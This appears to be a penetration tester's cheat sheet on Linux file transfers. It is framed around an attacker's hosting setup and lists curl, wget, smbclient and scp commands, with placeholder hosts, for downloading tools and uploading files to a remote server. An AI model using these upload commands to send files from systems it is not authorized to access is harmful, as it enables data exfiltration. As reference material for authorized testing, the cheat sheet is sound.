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Linux File Transfers

For a collection of methods on hosting, reference my Hosting as the Attacker note.

Downloading and Uploading via Common Web Tools

CURL
- Supports both downloading and uploading files.

# Download File from Web Server
curl http://<ip_addr>/<filename> -o <outfile>

# Download File from custom HTTPS Web Server
curl https://<ip_addr>/<filename> -o <outfile> -k

# Upload File to Web Server
curl -X POST -F "file=@<file_path>" http(s)://<ip_addr>/<filename>

# Upload File to custom HTTPS Web Server
curl -X POST -F "file=@<file_path>" http(s)://<ip_addr>/<filename> -k

WGET
- Supports only downloading files.

# Download File from Web Server
wget http://<ip_addr>/<filename> -O <outfile>

# Download File from custom HTTPS Web Server
wget https://<ip_addr>/<filename> -O <outfile> --no-check-certificate

Downloading and Uploading via SMB

# Download File from Share
smbclient //<ip_addr>/share/ -N -c 'get <filename>'

# Upload File to Share
smbclient //<ip_addr>/share/ -N -c "put <filename>"

Alternative Methods

Assuming SSH is enabled, you can use SCP.

# File Download via SCP
scp <username>@<ip_addr>:<file_path> <outfile>

# File Upload via SCP
scp <file_path> <username>@<ip_addr>:<out_path>